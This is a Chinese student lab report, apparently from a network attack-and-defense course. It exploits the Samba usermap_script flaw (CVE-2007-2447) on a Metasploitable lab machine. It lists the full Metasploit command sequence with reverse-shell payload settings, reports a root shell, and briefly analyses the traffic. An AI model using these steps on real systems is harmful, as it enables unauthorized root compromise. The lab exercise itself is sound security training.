20253917 2025-2026-2 《网络攻防实践》实践7报告

使用Metasploit进行Samba Usermap_Script漏洞渗透攻击

一、漏洞背景与靶机信息

Samba Usermap_Script漏洞(编号 CVE-2007-2447)影响Samba 3.0.0至3.0.25rc3版本,是经典的远程命令注入漏洞。当smb.conf配置文件中启用了非默认的username map script选项时,攻击者可通过MS-RPC调用向/bin/sh传递未经过滤的用户输入,在无需认证的情况下执行任意系统命令。
本实践的靶机通常选用Metasploitable ubuntu,它预装了存在该漏洞的Samba 3.0.20服务。攻击机使用Kali Linux,内置完整的Metasploit渗透测试框架。

二、详细操作步骤

  1. 启动Metasploit软件
    在Kali终端中输入以下命令启动Metasploit控制台:
msfconsole
msfconsole是Metasploit最常用的命令行交互界面,功能最完整。此外也可以使用msfgui(图形界面,需额外安装)或msfweb(Web界面)。

image

  1. 加载漏洞利用模块
msf6 > use exploit/multi/samba/usermap_script
此模块专门用于利用Samba的“username map script”命令执行漏洞。漏洞描述显示:
"This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default 'username map script' configuration option."

加载成功后,命令提示符会变为:

msf6 exploit(multi/samba/usermap_script) >
可用info命令查看该模块的详细信息,包括适用版本、漏洞原理等。
  1. 选择攻击PAYLOAD
    使用以下命令查看可用的payload列表:
msf6 exploit(multi/samba/usermap_script) > show payloads
针对Linux目标机,必须选择Linux平台的攻击载荷。常用的payload有:

Payload类型	连接方向	使用场景
cmd/unix/reverse	反向(Reverse)	目标机主动连接攻击机,适用目标在NAT内网
cmd/unix/bind	正向(Bind)	攻击机主动连接目标机,适用目标IP可直接访问

image

本实践以反向连接为例:
image

msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse

正/反向连接的区别:
正向连接(Bind):目标机开启监听端口,攻击机主动连接。优点是攻击机在内网时不受影响;缺点是开启端口和入站请求行为明显,易受目标防火墙限制。

反向连接(Reverse):攻击机开启监听端口,目标机payload执行后主动回连。优点是目标在内网时不受影响;缺点是攻击机需能被目标访问。

  1. 设置渗透攻击参数
    先用show options查看需要配置的参数:
msf6 exploit(multi/samba/usermap_script) > show options

核心参数配置:

# 设置目标靶机IP地址
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.5.134

# 设置Samba服务端口(默认445)
msf6 exploit(multi/samba/usermap_script) > set RPORT 445

# 设置攻击机IP地址(用于反向连接监听)
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.5.2

# 设置监听端口(可选,默认4444)
msf6 exploit(multi/samba/usermap_script) > set LPORT 4444

参数含义说明:

参数 含义 说明
RHOSTS 目标主机IP 靶机的IP地址
RPORT 目标端口 Samba服务默认445端口
LHOST 本地主机IP 攻击机IP,反向连接时用于监听
LPORT 本地监听端口 反向连接时的监听端口
⚠️ 重要提示:若攻击机和靶机在同一内网,配置LHOST为攻击机IP即可。若有防火墙/NAT限制,需配置端口转发策略。

配置完成后,再次使用show options验证所有参数是否设置正确。
image

5.执行渗透攻击

msf6 exploit(multi/samba/usermap_script) > exploit

image
利用完成但却失败了,我们再次尝试使用正向连接进行测试

msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse

image
正向连接拥有回显,whoami结果为root证明我们得到了最高权限,攻击成功。

实验一问题处理:

再将该靶机从仅主机模式中移出,使用NAT模式与攻击机置于同一网段即可
image
再查看蜜网的记录之后,发现确实在仅主机模式时,TCP没有反应:
image

实验二使用Metasploit进行Samba Usermap_Script漏洞渗透攻击 并分析流量

为什么不用vsftp 漏洞呢?学习通教程,使用的metasploitable 版本和我们的版本不一致
他的靶机上是vsftpd 2.3.4 版本,但我们的靶机默认是Proftpd 1.3.1版本,而对应的Proftpd 1.3.1版本在msf中并没有利用脚本
漏洞利用与上面的利用方式一致,我们在此使用wireshark对流量进行监控
我们对其进行追踪,这就是整个的利用过程,他的payload是什么,使用的为SMB漏洞
攻击方为192.168.5.2 目标地址为192.168.5.10
同时使用反向弹shell,利用telnet连接攻击机192.168.5.2来获取攻击命令并执行
image

实践作业:攻防对抗实践

与李宇航同学作为合作者,我为攻击方他为防守方,将两台电脑放置于同一局域网下,并将使用到的虚拟机设置为桥接模式,直接复制物理机状态,同时配置ip地址
靶机与kali都需要如此

auto eth0
iface eth0 inet dhcp

我的kali ip如下
image
攻击配置如下图所示,同时输入shell whoami 查看权限,使用ls查看当前目录下文件可以看到详细的回显
image

posted @ 2026-04-20 14:34  Maxn_Rain  阅读(19)  评论(0)    收藏  举报